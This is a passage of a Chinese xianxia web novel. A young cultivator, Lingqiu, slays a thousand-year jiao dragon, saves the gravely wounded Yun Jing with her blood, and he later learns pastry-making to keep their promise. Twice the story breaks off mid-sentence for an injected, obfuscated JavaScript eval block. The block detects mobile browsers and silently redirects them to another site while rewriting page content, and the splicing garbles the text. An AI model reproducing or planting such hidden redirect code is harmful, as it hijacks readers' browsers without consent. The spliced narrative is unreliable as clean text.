寻常人听这番话恐怕会啧啧感叹这是哪里来的残暴之徒,然而在当时的云靖眼中,身边人一脸从容的模样简直如同神女临凡。 他呆呆地看着灵秋,感觉手腕上的温度一点点融进身体,成为某种底气,驱使他将手中宝剑握得更稳。 云靖道:“你这妖物,还不速速现身!” 话音刚落,前方传来一阵似笑的低吟。 昏暗的石窟天光大亮,一股强大的冲力随之袭来,径直掐灭了云靖指尖的火。 灵秋眼疾手快地驱剑挡在两人身前,结出一方坚固的保护结界。 4. 轻狂难识雪刃冰心 冰盾被强力击碎,碎晶四溅。 幽深的石窟中,蛟龙缓缓游动,黑鳞在光照下泛出森冷的光泽。血雾团团,环住它如巨蛇般蜿蜒的身躯。 千年蛟的利爪上拖着一颗雪白发亮的珠子,正是这石窟中光明的来源。 “是妖丹!”云靖道:“你这妖物怎么这样狂傲,敢让妖丹离体?” “哈哈哈哈!”蛟龙闻言大笑,竖瞳闪闪发亮,在云靖和灵秋之间来回打量,“又来了。两个黄口小儿,你们也想夺本尊妖丹?” 四周血雾迅速聚拢,缕缕融入那颗珠子,原本雪白的妖丹转眼透出森寒的血光。 千年蛟张开血盆大口,举起染了血色的珠子。 他摆动身子,冷笑道:“你们看好了,妖丹就在这儿,有本事就来取!” 鳞甲森然,锋利如同利刃。蛟龙摆尾,猛地一击,沉闷的撞击声在石窟中回响,万钧之力,要将天地震碎。 整个水镜因千年蛟的动作摇摇欲坠,灵秋拽过挡在自己身前的云靖,将人一把扔到边上,顺手施了个定身咒。 “别碍事。” 她抛下一句话,举剑向蛟龙扑去。 铁剑发出危险的低鸣,毫不含糊地斩向千年蛟的心脉。剑峰与鳞甲相接,溅射出刺目的火花。 尖刻的摩擦声响彻此间,蛟龙身摆动,击碎周遭石壁。 山石刷刷滚落,灵秋在空中一翻,单手凝出结界。法力裹挟锋利的碎石猛向千年蛟击去,生生逼退那护心的鳞片。 铮铮剑意凌空,她一跃而起,铁划银钩,轻而易举地占据上风。 什么千年蛟,不过如此。 灵秋举剑朝着蛟龙最脆弱的心脉刺去。 她看着妖丹,仿佛已是囊中之物,然而手中铁剑忽然发出一声细碎的悲鸣,顷刻之间,在她眼前,在离千年蛟心脉不盈半寸的地方横生裂缝,以迅雷不及掩耳之势碎成了齑粉。 灵秋还未来得及反应,只听蛟龙一声怒吼,接着便被一股强大的力量掀飞数丈远。 她被重重砸向地面,尘土飞扬间,一股锐利的光循着她的踪迹,直冲命门而来。 灵秋起手结印,只感觉体内气息一瞬凝滞艰涩,灵脉钝痛,竟是周身法力皆被震散。 击杀不成,反将自己彻底暴露。 她口中铁锈味漫溢,死死盯着那道夺命的利光,摸到脉中那道魔气的封印,正欲强行突破,生死关头,眼前却倏地冲出一道人影。 代替剧痛落在身上的是温热滚烫的液体。 云靖跪立在她身前,后背开出大片鲜艳的血色,白皙的面庞飞溅血滴。他口中鲜血似泉水一般汩汩涌出,将她左肩衣袍整个淋透。 一下,两下。 千年蛟的攻击尽数落在云靖身上。 那双宝石般的眼睛光彩四散,已有油尽灯枯之相,他却紧紧握剑,死咬下唇,任凭如何也决不愿倒下。 云靖的本命剑插进泥里,剑身被主人的血吃透,一瞬闪出耀目的光。 他艰难道:“你……快走!” 灵秋看着眼前人,瞳孔骤缩,心下大震。 她反握住云靖的胳膊,飞身调换二人位置,驱动全身仅有的灵力,结出护体结界。 屏障很快被蛟龙击碎。她不断施法,艰难地将重伤的云靖扛到肩上。 灵秋的血脉天生与常人不同,体内犹如一处永不干涸的灵泉,源源不断地迸发生机,受伤之后一向恢复极快。 如今被云靖这么一挡,不过须臾,灵秋体内的灵力已经开始重新涌动,只是时间太短,脉中仍有酥麻阻塞之感,因此法力低微,结出结界几乎不堪一击。 不堪一击,她也一刻不停。 新血覆旧伤,左肩的温热触感越来越深。结界被击碎后遗留的冰晶铺了满地,踩踏之下发出裂骨般的声响。白玉梅花纹的绣鞋在血污中步步后退,避无可避。 千年蛟又是一记猛攻,眼看招架无力,灵秋纵起一跃,折身躲避。 肩上的云靖随她突如其来的动作磕上石壁,脑袋与坚硬的岩石亲密接触,发出一声巨大的闷响,恢复几分神志。 茫然间,他轻轻动一下手,远处的长剑立刻拔地而起。 飞泥乍起,银光闪闪的宝剑飞向千年蛟,拦在两人身前,暂时抵挡住猛烈的攻击。 修士的本命剑不容外人触碰,然而生死关头顾不得许多,灵秋毫不犹豫地伸手握住剑柄。 长剑在手心震动两下,容她驱使,猛劈向四周石壁。 刹那间,整座水镜摇晃不止,无数巨大的石块滚落,激起百丈高的尘土。 混乱中,灵秋掏出一枚匿踪符,带着云靖穿过乱石,躲进一处石壁崩塌后形成的狭窄洞穴。 微光缓解了不适,同时也预示着蛟龙就在附近。 灵秋将云靖放下来,第一件事是揪住他的衣领,疾言问道:“为什么?” 为什么挣脱她的定身咒,为什么挡在她面前,为什么这么自不量力? 云靖咳嗽了两下,血从口中汩汩涌出,落到她的手背上:“没有为什么。我乐意。” 他的呼吸很重,眼神飘忽而涣散。 死亡的阴影在迫近,更令人神魂欲碎的是,眼前的姑娘一动不动,仿佛对他的生死毫不挂心。 云靖看着她,不禁悲从中来,哽咽道:“我都要死了,你怎么一点也不伤心?” 灵秋的目光在他身上打转,终于注意到他额角那道鲜明的撞痕,灵光一现,心道:“生死关头,世上怎会有人乐意挡在我身前?或许他从小脑袋就不太灵光,方才又被从天而降的毽子砸得更坏了,因此才会做出匪夷所思之事。” 这么一想倒也合理。 人虽好看,却是个缺心眼。 她沉默不答,愈发无语地看着他。 见她这般,云靖不禁哭了出来。 然而他虽伤心欲狂,却丝毫不悔,眼含热泪,自在心底暗暗思虑起身后事。 他努力拉住了灵秋的衣袍,悲伤地说:“在我死前,你能不能答应我最后一件事?” “什么事?” “把我的尸身带回去给我爹娘。”他顿了顿,“还有外面草丛里的那个修士。你能不能把他的尸身一并带出去?” 其实这样已经是两件事了。不过灵秋还是问道:“你认识他?” 云靖摇头:“他的家人一定都在外面等他回家。” 灵秋闻言轻轻将衣袍从他手中抽出来,道:“你都快死了,还记挂别人做什么?” 云靖却几番恳求,坚持要她应下。他说得恳切,情急之下一把握住了她的手。 灵秋将手抽开,只听云靖接着道:“人死之后魂归故土,身在何处其实并不重要,只是活着的亲友心怀牵挂,若死不见尸,定会忧心忡忡,日夜不得安眠。凌秋,你就当做一件好事,好吗?” 灵秋低头摩挲着手,石窟内穿过微凉的风,轻轻拨弄着周遭腥甜的血气。 魔族也有死亡,只是死去的魔化作尘土,彻底消散,不会留下任何痕迹。 灵秋不明白凡人如此执着于一副死去的躯体,早在洞穴外看云靖替那修士收尸时就十分不解。 她六亲缘浅,从未考虑过身后事,当下见云靖眼中含泪,十足可怜,头脑一热,不由应道:“我答应你就是。” 说完又有几分后悔,心道:“同样一条性命,人族不仅可以轮回转世,死后还有躯体留存,而魔族却只能于碧落黄泉灰飞烟灭,再无重来之机。说到底,凡人才是被天道偏爱的那一方,老天还真是不公平。” 想到这儿,灵秋愈发后悔,兀自瞪云靖一眼,却见他朝自己微微一笑,眉眼俊秀至极,青丝微乱,犹似琵琶半遮面,胸中烦躁更甚。 她偏过头,再不愿多瞧他一眼。 长剑守护在云靖身侧,灵秋伸手,稳稳握住。 她终于有机会细看此剑。 与五年前初见时一样,宝剑很是锋利俊秀,剑柄上嵌着一圈幽蓝色的宝石,唯一不同的是整把剑随着主人的体格长大了些。 能抵挡住千年蛟,这一定是一把绝世无双的好剑。方才多亏它,他们才能顺利逃出。 灵秋抚过剑刃,转移话题:“这剑不错。” 见她终于露出感兴趣的神色,云靖心头一振,激动得剧烈咳嗽几声,想到她方才答应了自己一件大事,忍着痛,无不殷勤地介绍道:“这是凝霜剑。” 灵秋道:“从今日起,这把剑就是我的了。” 话音刚落,凝霜剑在她手中发出一阵轻鸣,似是对她的擅作主张十分不满,脱手而出,飞回主人身侧。 云靖闻言全忘了身上重伤,认真想了想,眼神一亮,一闪,虚弱却郑重地说:“凝霜属性偏阳,其实并不适合你。” 他动了动手,二人眼前出现一柄银光凛凛的刀,刀身沉稳坚固,刀刃锋利无比,刀柄一圈宝石同样闪着幽蓝色的光。 “这是召雪刀。”云靖将刀送到灵秋眼前,“召雪属……冰,与你的灵脉最契合不过,你若想要,拿它去最好。” 灵秋看着那刀,又看一眼紧紧守在云靖身侧的剑,心想还真是剑随主人。 她原本是跟他开个玩笑,以报心中不平,而他说了这么多,不过是舍不得割爱。想到这儿,灵秋一时更是存心与他为难,坚持道:“我偏要这把剑。” 云靖闻言拿过凝霜,垂思片刻,连同召雪一起,毫不犹疑地递给她,道:“是我考虑不周,凝霜与召雪本不该分离,若你喜欢,便将它们一并拿去吧。” 这下轮到灵秋惊讶了,她愕然道:“你要把它们都送给我,真的?” 云靖点点头:“你的铁剑是普通人用的,不坚固。我送你凝霜,日后若再遇到强敌便不怕没有趁手的武器可用。至于召雪,你带着它,需要的时候拿出来,不需要的时候放在储物的境中就好了。” 灵秋握住召雪,一瞬间,丰沛的灵力贯穿身体,整个人畅快不已,如被缕缕清风拂面。 原来这也是一把极好的刀,并不比凝霜剑差多少。 她左手握召雪,右手持凝霜。 云靖道:“有了它们,你一定能击败千年蛟,活着出去。”言罢,一口血涌上喉头,剧烈咳嗽起来,终于力竭,晕了过去。 他脸上还挂着泪痕,灵秋凑近,只听他在意识模糊间喃喃念道:“好疼。” 她看向手中的宝刀宝剑,想到方才他竟强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258125|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撑许久,不由腹诽道:“还真是个傻子。” 洞穴外,千年蛟的声音由远及近。 “难道你二人真以为本尊这千年修炼是纸糊的不成?” “小姑娘,你才修炼了几年,仗着几分天资,拿把破剑便来送死,好啊,等我找到你们,立刻成全你!” 蛟龙四处游走追寻他们的踪迹,喉间溢出嘲笑。远处近处有山石碎裂的巨响传来,飞溅的石块不时落入此间天地,噼里啪啦好不热闹。 云靖晕死过去,唯有微弱起伏的胸口证明他还多少残存一息。 确认他终于不省人事,灵秋放开召雪,挥动凝霜割开灵脉,将手腕凑到他唇边。 血将云靖苍白的嘴唇染成漂亮的胭脂色。他身上的伤一点点好转,不再显出血肉模糊的可怖,想来应该没那么疼了。 灵秋喂着血,一面盘腿而坐,单手运功调息,打通灵脉,体内灵力逐渐重新丰盈流动。 外界诡异地沉默了好一阵,她稍收动作,正觉得困惑,只听山洞外传来一声惊叫。 洞外的匿踪符被一道突然出现的红光击中,碎成飞灰。 山石尽裂,天光大亮,灵秋带着昏迷不醒的云靖从洞中飞身跃出,正对上千年蛟的背影。 远处空中飘着一个女孩,衣袍染血,指尖结印的动作还未来得及收敛,正是刚才那声惊叫和红光的来源。 她被蛟龙禁锢吸血,痛苦中胡乱施咒,误打误撞击中匿踪符,使得灵秋和云靖彻底暴露。 女孩一见灵秋,立即朝她大喊:“救我!” 蛟龙回头,獠牙森然,涎液滴落腐蚀了地上的碎石,发出嗤嗤的恐怖声响。 不过片刻未见,这蛟的模样似乎有些不同了。 灵秋的眼神落到远处,这才瞧见除了空中的女孩,千年蛟身后还横躺着许多人,又用阵法禁锢着许多人,看样子都是进入水境内参与试炼的修士。 空气中弥漫着血雾,那颗妖丹已从浅色变为了昭彰的深红。 不详的预感席卷全身。 灵秋捡起地上的召雪,一刀一剑,挡在了云靖身前。 蛟龙朝着二人的方向深吸一口气,身躯一怔,将空中的女孩啪一声扔回被禁锢的修士中间。 它看着灵秋,嘴边溢出咯咯的笑,正欲说些什么,灵秋已飞身跃起,主动攻向了它。 百年来,从未打过这样艰难的仗。 刀尖在地面划出一道深痕,灵秋摔向地,在尘土飞扬间滚过几圈。 她身前,蛟龙高高立起,两只明黄的眼睛一只被长剑贯穿,另一只已经变成了可怖的猩红色。 凝霜剑被它以力震飞,深深嵌进一侧石壁。 地上的灵秋接连吐出数口鲜血,力竭般重重喘息,如引颈受戮。 “你们这些修士,自诩正义,悄悄闯入我的地盘大开杀戒,杀我族人,屠我臣民,实在该死!” 蛟龙寸寸逼近,全身鳞片因盛怒张开,犹如浑身插满利箭,隐约可见跳动的心脉。 它将妖丹抛向空中,无数颗闪着微光的珠子从身后的修士们身上飞出,飞向那颗猩红的妖丹,似水境中死去妖物的亡灵,众星拱月,环绕在千年蛟的身侧。 召雪刀被蛟龙暴怒的力量扇飞,与凝霜剑并排插入山壁。 灵秋手无寸铁,蛟龙一点点逼近,整个水境内枉死的生灵叫嚣着,发出报仇雪恨的呐喊。 呲啦—— 千年蛟的利爪停在离她头顶不足一寸的地方。 魔域百年,她杀人从不动用刀剑。 蛟血顺着灵秋的手臂滴落,鳞甲翕合,如同利刃深深划破她的血肉。 她面色苍白,显然已经伤重,然而双瞳之内寒光熠熠,动作狠戾,仿佛全然不顾性命。 即便是千年蛟也有些惊讶,它摆动身体将灵秋带起,令她狠撞上石壁,激得碎石滚滚,飞灰暴起。 麟片扎进身体,纵然血流如注,灵秋决不松手,反向蛟龙心脉越探越深。 “召雪!” 她大喝一声,召雪刀与凝霜剑齐齐破开石壁,飞向她,一柄击向蛟龙仅剩的一只眼睛,一柄供她驱使,刺穿她的掌心,深入蛟的心脉。 “都说兵不厌诈,从前我对此体会并不深刻。”她脚抵石壁,一击击飞蛟龙,冷笑道:“此番真是多亏了你。” “千年啊。”灵秋提刀逼近千年蛟,居高临下,“千年修炼仍护不住想护之人。成王败寇。是你废物。” 水境上空,蛟龙妖丹飞向主人。 召雪刀落下的瞬间,犹如回光返照,奄奄一息的千年蛟骤然暴起。 灵秋被蛟龙压倒在地。利爪嵌进她的身体,獠牙近在咫尺,却被手中宝刀死抵在方寸之外。 蛟龙的身体被刀刃贯穿,长啸道:“黄口小儿自恃天赋,殊不知资质再高,高不过天。我也曾是这江底最为出众的年轻子弟,人外人,天外天,一物克一物,总有一天你要为今日的狂妄付出代价!” 它循着空气中独特的血气,凑近灵秋,耳语道:“天命血脉,仙门杀我,也绝不会放过你。” 妖丹落入灵秋掌心,千年蛟的语气带着彻骨的恨:“我与这江底枉死的妖族在地府等你……” 5. 生死关头更空许约 “醒醒。” 灵秋用力拍打云靖的脸。好一会儿,他从昏迷中醒来,喃喃道:“我还……没死?” 是没死,不过马上就快死了。 她的血对人的作用有限,他伤得实在太重,这么片刻不过全凭一口气吊着。 必须抓紧时间离开水境。 灵秋抓住云靖的胳膊,想将人扛起来,却被他按住手。 “我还活着……”云靖道,“太好了。” 现在是高兴的时候吗? 灵秋皱眉看着他,却听他继续说:“两年后朝云峰太虚宫招收弟子,你和我一起去,好吗?” “不去。” 灵秋将人扛到肩上,不顾结界中被困住的修士们哀嚎恳求,漠然路过他们,驱动凝霜召雪,劈开横七竖八的山石,辟出一条路,往水境外去。 云靖的爹娘都是太霄辰宫神尊座下亲传弟子,他一出生便有许多东西,阳华境的入场券不过是其中最不值一提的部分。 此番他本是心血来潮,想来这境中玩上一玩,却重逢了灵秋。 今日之前,云靖从没想过,通往阳华仙境的路原来如此艰险。 太虚宫从来只收两类人,一者天赋卓绝,一者身世显赫。灵秋的实力自不用说,若还不够,他便去求父亲。 云靖道:“只要入了太虚宫,便能直接获得参与阳华仙会的资格,不用再四处参加试炼,也不会受伤了。” 灵秋不应,背上的人却不肯放弃,坚持道:“你那么厉害,一定能被录取。我去跟爹娘说,让我也入太虚宫,从此以后我们便能一道修行。凌秋,你和我一起去好不好?” “说了不去。” 方才一战打得天昏地暗,水境成了废墟,灵秋再找不到过去的路,伸手起了个引路的阵。 云靖被她断然拒绝,恍惚中又见她跌跌撞撞地扛着自己求生,衣袍之上血气冲天,只觉心脏抽痛仿若又被咒术重重一击。 他一心不愿让她参与哪怕再多一场试炼,哽咽道:“你若是不和我一起去太虚宫,费力救我做什么,干脆丢我在这里等死好了!” 灵秋肩上又湿了一片,只听他不依不饶,一时又说:“试炼这么危险,反正都是要死人的,要是不入太虚宫,日后说不定还会遇见今日之事。你若果真不答应,我不如现在就自绝灵脉,先下地府去探路。” 这便是耍赖皮了。 灵秋被他扰得心烦,狠狠拍在他的屁股上,“不许动!” 肩上人一瞬攥紧拳头,只听她道:“你说,我为什么要去,若说得让我满意了,我可以考虑一下。” 云靖整个人如同石化。灵秋等了半天,他却默不作声了。 挨着她后颈的那一小块肌肤不知为何,烫得吓人。灵秋心一沉,想道:“他莫不是因重伤发热了?”一时更是加快步伐,一心往水境外去。 她扛着云靖继续走,过了好一会儿才听见他细如飞蚊的声音。 路途漫长,背上的人絮絮叨叨地说着太虚宫的诸般好处,声音越来越小,越来越弱。 有血顺着手臂落至掌心,灵秋惊愕地将云靖扔到地上,这才发现他身上伤口不知何时又深了几寸,血流如注,令人心惊。 “你怎么不说话了?” 没有回应。 她用力拍打云靖的脸,人早就晕了过去,再也唤不醒。 灵秋重新割开灵脉,将血喂给云靖,过了好一刻,伤口却再也没有愈合的倾向。 伤重不治之象。 她一瞬慌了神,拼命摇晃云靖:“醒醒,云靖,醒醒!” 他醒不过来。 灵秋心生一计,踹他一脚,威胁道:“你若死了,我便将你丢在这儿,再也不管。” 云靖眼闭得安然,依旧毫无反应。 “你若死了,我便杀光你爹娘,将你的魂魄用咒封死,让你下辈子,下下辈子,下下下辈子也做不了天下第一剑尊。” 还不醒? “你若死了,我便一个人去那什么什么峰,什么什么虚殿,四处跟人说你是我的手下败将!” “……咳咳。” 有反应了! 灵秋立刻继续放狠话:“我不仅说你是我的手下败将,我还找人每逢你的忌辰便大摆宴席,肆意庆祝,在你坟头喝酒奏乐,让你在九泉之下也不得安宁。” “咳咳……”云靖虚睁开眼睛,气息虚弱道:“不行。” “那你就再撑一撑。” 灵秋将人背起来,云靖靠在她肩上,呼出的热气尽数洒在她耳畔,轻轻道:“你不要一个人去太虚宫,我们一起去。你答应我,一起去,好不好?” “好。” 看在他果真快没命的份上。 灵秋跟着引路阵法,深一脚浅一脚地往水境出口走,背上的人硬撑着一口气,求证似的,一遍遍向她确认。 “我会一直等你,这次你不能再骗我了。” “不骗你。” “你发誓?” “我发誓。” 都是为了阳华仙会,太虚宫也好,别的什么地方也罢,无非各路人马刀剑相接,于灵秋而言并无区别。反正无论如何,入太霄辰宫前,她都是逍遥派的凌秋。 得到保证的云靖安心闭上眼,气息逐渐微弱下去。 这可不行。 灵秋在脑海中拼命搜刮,开口道:“你上回说给我蜜饯,下次见面能不能带一些?” “好。”云靖闻言露出浅浅的笑,强撑着问:“你喜欢吃什么样的?” “你上次给我的那些就很好。” 其实蜜饯比糖人贵上许多,逍遥派贫苦,她也就吃过那么一回而已。想到记忆中的甜蜜滋味,灵秋心头一动,不禁问道:“除了蜜饯,人间还有什么好吃的?” “还有……糕点。” 灵秋道:“你也给我带一些。” “你喜欢什么糕点?” “不知道。” “桂花糕怎么样,你喜欢桂花糕吗?” “没吃过。” 灵秋劈开最后一道屏障。水境出口近在眼前,召雪剑化作一缕流光钻入她袖中,凝霜剑则飞回云靖的衣袖。 灵秋擦了把脸上的血污,轻吐出一口气。 云靖道:“那我把桂花糕、莲子糕、马蹄糕、牛乳糕、青蘅糕和杏仁糕都带来,你全都尝一尝,好吗?” “……可以。” “你一定要来,不能再忘了。” “不会忘。” 背上的人没再追问。 阳光透过树梢洒向大地,计时香燃尽的最后关口,一只被血染得看不出颜色的绣鞋终于踏出结界。 外面早围了一圈等候迎接的人。 灵秋背着云靖从水境中走出。她浑身染血,眉目冷寂,明明不过十三四岁的孩子模样,却活像从地狱爬回人间的恶鬼修罗,令人见之心头一凛,难辨真容。 众人皆为之一震。 人群中有一对夫妇认出灵秋背上的人,惊呼一声,飞身朝她扑来。 “靖儿!” 灵秋将云靖放在地上,那妇人发出一声凄厉的惨叫,颤抖着将他揽进怀里,连声呼唤他的名字。 二人身后接连跑来许多人,有长老,也有弟子。他们将云靖团团围住,七手八脚地替他运功疗伤。灵秋被挤到一边。 “小师妹!?” 江芙瞧了好半晌,才终于勉强瞧出眼前这个形容散乱,头顶绢花鸟窝,浑身伤痕累累的人竟然真的是自家师妹。 她疾步上前,跪在灵秋身前,拂开她的发丝,眼中泛出泪光,向身边人急道:“快去找师父来,快!” “师姐放心,我没事。”灵秋从江芙怀中撤开,走到空旷地带,一挥手,将断气的蛟龙从袖中甩出。 “千年蛟?” “是千年蛟!” 人群爆发小股惊呼。 灵秋又一挥衣袖,地上横七竖八躺满一片修士的尸身。 修士有能盛放物品的境,她的境十分冷寂,是故日头当空,这片尸身四周却源源不断地冒出寒气,倒十分应景。 方才还沉浸在惊讶中的人群立刻躁动起来。众人疾步上前,挨个察看死去的修士。一时间,哀嚎遍地。 “我儿在哪里?”没能找到亲友的人们将灵秋围住,丝毫不顾她身上的伤还淌着血,七嘴八舌,焦急地逼问。 灵秋道:“死了的都在这儿,其余人被千年蛟设下法阵,关在水境中。” 话音刚落,人群轰然散开,众人争先恐后地奔向结界。 白胡子仙尊蹲在死去的蛟龙身侧,灵秋走向他,掏出那枚红色的妖丹:“我在规定时间之内拿到了它的妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258126|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丹,算晋级吗?” 仙尊闻言抬起头,惊讶地看着她:“这蛟是你所杀?” “是。”灵秋追问道:“我到底晋级了没有?” 仙尊想伸手去拿她掌心的妖丹,被灵秋躲开。 他深睨她一眼,终于颔首。 灵秋却不依,偏要他一字一句说清楚,又接连追问几句。 仙尊道:“你晋级了,晋级了。” 他目不转睛地盯准那枚妖丹,灵秋闻言露出满意的笑,径自将妖丹收入袖中,头也不回地走了。 仙尊还想起身追她,被匆匆赶到的逍遥散人拦住。散人腰间隐匿的玉饰一闪而现,白胡子仙尊目光一凛,顿时收敛动作,将死蛟收入袖中,匆匆离去。 “怎将自己弄得如此狼狈?”逍遥散人走到灵秋身前,施法替她止住渗血的伤口。 他严肃叹道:“你这只手若再耽误片刻,从今以后怕是废了。” 灵力涌入伤痕累累的右手,激起一阵颤栗。灵秋由师父替自己疗伤,被不远处的动静吸引了注意。 “有九霄凝光盏护体,靖儿怎会伤重至此!”妇人抹着泪,向面前的长老激动道。 “九霄凝光盏是神尊用世间唯一一朵万年金莲亲自为少楼主炼造的本命灵宝,应该随时带在身上才对,为何如今竟全然感受不到这仙宝的气息?” 云靖躺在母亲的怀中,闭着眼。他好像睡着了,很平静,很漂亮,只是面色比冬日胥阳山顶上的霜更白。 秋风里,金色的小花一朵朵飘向他,落进沾血的发丝,拂过明秀的眉眼。时值黄昏,桂树亭亭,枝叶如华盖撑开,滤下浅淡的光影。 好一场夕阳无边。 九霄凝光盏? 灵秋想起那樽莲花盏。 唯一的……万年金莲? 这样大的来头,生命的最后时刻却是被主人用来当作盛火的容器。 果然是个傻子。 围在一处的弟子被驱散,云靖身侧只剩下颇有修为的长老和爹娘。 几位长老停下输送疗伤的动作,相互对视一眼,重重叹气,认命般摇了摇头。 有人道:“楼主,事到如今,当立刻通知神尊才是。” 啜泣声由风送来,与旁人喉中发出的悲鸣混在一起,莫名显得突兀。 灵秋在心底暗骂道:“庸医。”抬脚朝那方走去。 她用力拨开人群,走到云靖跟前。 所有人的目光都集中在这位突然闯入的不速之客身上。 灵秋没有犹豫,顺手夺过身侧人腰间悬挂的短刀,一把插入心口。 粘稠的血沿着刀柄,滴滴落向云靖。 一身修为连同心头血就这么轻易地给了出去。 众人心中皆是一惊。 这还不算完,在众人愕然的眼光中,只见血落之处,云靖身上翻开的伤口竟以肉眼可见的速度逐渐生长愈合,与此同时,刚刚被宣判无救的人骤然开始剧烈地喘息。 天命血脉,绝迹江湖,起死回生,尤胜神魔。 一时间,数道目光射向灵秋,众人心中是一惊盖过一惊。 几个长老不约而同地挪动步伐,不动声色地将她和云商护在内侧,彻底隔绝了周遭人的目光。 灵秋身后,随之而至的逍遥散人也瞧见了这一幕。 散人面色遽变,疾步上前止住她的动作,厉声喝道:“够了!”向后一招手,命江芙将人拉走。 待两人走远,逍遥散人眉深蹙着,与在场几位修士对视一眼,沉声道:“今日之事还望诸位保密。” 银霜楼主云正起身向他行礼,目光扫过远处女孩的背影,眼中惊异尚未褪去。 “多谢救命之恩。”云正低声道:“我以身家性命起誓,请老前辈放心,今日之事除了在场诸位,我银霜楼决不会让哪怕再多一人知晓。” 老前辈…… 逍遥散人轻咳一声。 远远看去,他与云正对面而立,一个容光焕发、青丝高束,一个风霜满面、华发丛生,真真切切是两代人不假。 “我自然信你。”逍遥散人努力挺直佝偻的背。 他深深看了一眼地上的云靖,又瞧了瞧远处一步三回头的小徒弟,心下怅然愈深。 孽缘,孽缘。 散人心道:“定要想方设法断了这二人间的联系!” 6. 痴儿垂泪苦盼雨停 所谓“伤筋动骨一百天。”何况刚从鬼门关走了一遭。 自打从水境返回,云靖在床榻上昏迷了数日,好容易醒来,却被爹娘四处拘着,行走坐卧,不得自由。 他日夜观察门口守卫,终于逮着机会,乘了凝霜剑,头也不回地飞向丹碧峰。 香满楼气势磅礴地伫立在主街东侧,门口石阶又多了几处斑驳的痕迹。 斜阳西下,一切与五年前别无二致。 这里曾是云靖的伤心地。 最后一次被三师兄和爹一人一边驾着拽下石阶的那个深夜,他憋着眼泪,怀里的蜜饯果子撒了一路。 云靖此生要风得风,要雨得雨,一生平顺,何曾在谁身上栽过这样大的跟斗?那时,他在心底赌咒发誓,此生此世绝不再踏足丹碧峰。 如今经历水境一遭,时隔多年,他再一次站在此处,心头幼稚的愤懑荡然无存,取而代之的是满心愉悦与难以计数的期待,一颗心鼓鼓填充了轻盈的羽毛。 院子里那么多人,毽子却偏偏砸中了他的脑袋。 这就是命中注定吧。 云靖看着香满楼宏伟的牌匾,斜身进了对面的蜜饯铺子。 经年不来,他对着眼前琳琅满目的蜜饯果干,连眼睛都有些花了。 他有很久不吃蜜饯,已经记不得哪些好吃哪些难吃,只想自己先通通尝过一遍,挑出最好的来。 云靖大手一挥,对掌柜道:“将所有蜜饯都包起来。” 掌柜一听他豪气干云的吩咐,立即认出了这位老主顾。 一口气包下整间铺子的人可不多见,多年前,也有这么一位,六个多月的时间,日日都来,背着把亮闪闪的宝剑,不过孩童模样。 时间好似脱缰的野驴,一转眼,当年的稚童已经长成倜傥的小少年了。 掌柜一面打包蜜饯,一面问云靖:“小公子,多年不见,您这是打哪儿来啊?” 云靖道:“我想送些蜜饯糕点给一位朋友,不知这丹碧峰哪家糕点做得最好,掌柜的可有推荐?” 掌柜闻言呵呵一笑:“小公子算是问对人了。从这条街向西走,左转过两条巷子,路尽头有一家胡记,那铺主人的手艺堪称一绝。” 云靖循着蜜饯铺掌柜的话找到站到胡记糕铺,将店里各式各样的点心认真尝过一遍后,对白发苍苍的胡掌柜道:“两年后,我再来买你家的糕点。” 他将一袋银子递给胡掌柜:“这是定金。” 胡掌柜却不接,对他道:“老夫正打算做过今年便关了铺子回老家享清福,两年太长,小公子还是另寻他家吧。” 云靖道:“可你家糕点是我吃过最好的。” “可老夫已经决定了。” 二人僵持不下,胡掌柜道:“你究竟为何非要等两年,来都来了,今日买回去吃了不好吗?” “不行,我同一位重要的朋友约好两年后相见,我想让她尝到世上最好的糕点。” “是吗?”胡掌柜上下打量他,眼神一转,“你真想将我胡记糕点带给朋友?” 云靖点点头。 “可老夫做了一辈子糕点,实在没心气再做下去了。” 他这身独门手艺眼看着就要失传了。 岂不可惜? 胡掌柜说:“买来的东西哪有自己亲手做的有诚意?不若你拜我为师,我将这做糕点的手艺传给你,你自去做了送给好友。如此一来定能叫他体会到你的用心,如何?” 云靖闻言垂思片刻,跪在他身前,低头作揖,唤道:“徒儿见过师父。” 此后半载便是在胡记后厨忙碌进出。 胡掌柜要求严苛,云靖每日天不亮便御剑往丹碧峰飞,夕阳西下才带着满身面粉回到银霜楼。 他白日学做糕点,晚上刻苦修炼,练剑的时间虽然短了,不知为何,修为反倒提升得更快。 学成出师的那天,云靖目送胡掌柜的驴车驶出丹碧峰,三师兄于风站在他身侧。 于风看着手捧一碟桂花糕的师弟,恨铁不成钢。 他一把抓过那糕塞进嘴里咬了一口,含糊道:“那个逍遥派的凌秋到底给你下了什么迷药?当初为她差点丢掉一条命不说,好不容易恢复,还没休息几天,居然就这么莫名其妙地进了大半年厨房。你的手可是拿剑的,成日在灶台上转算个什么事?” “师兄说得不对。”云靖将空碟子塞进于风手中,“当初我替凌秋挡了千年蛟的攻击,她也救我出了水境啊。要是没有她,我是绝不可能活着出来的。如今我既拿得起剑,也做得出世间最美味的糕点,待来日相见,她定会对我刮目相看。” “你可别高兴得太早。”于风大口嚼着桂花糕,如驴嚼牡丹。 他想到若干年前冒着冰雹大雨在香满楼前劝云靖回家的场景,脑门一疼,仍心有余悸 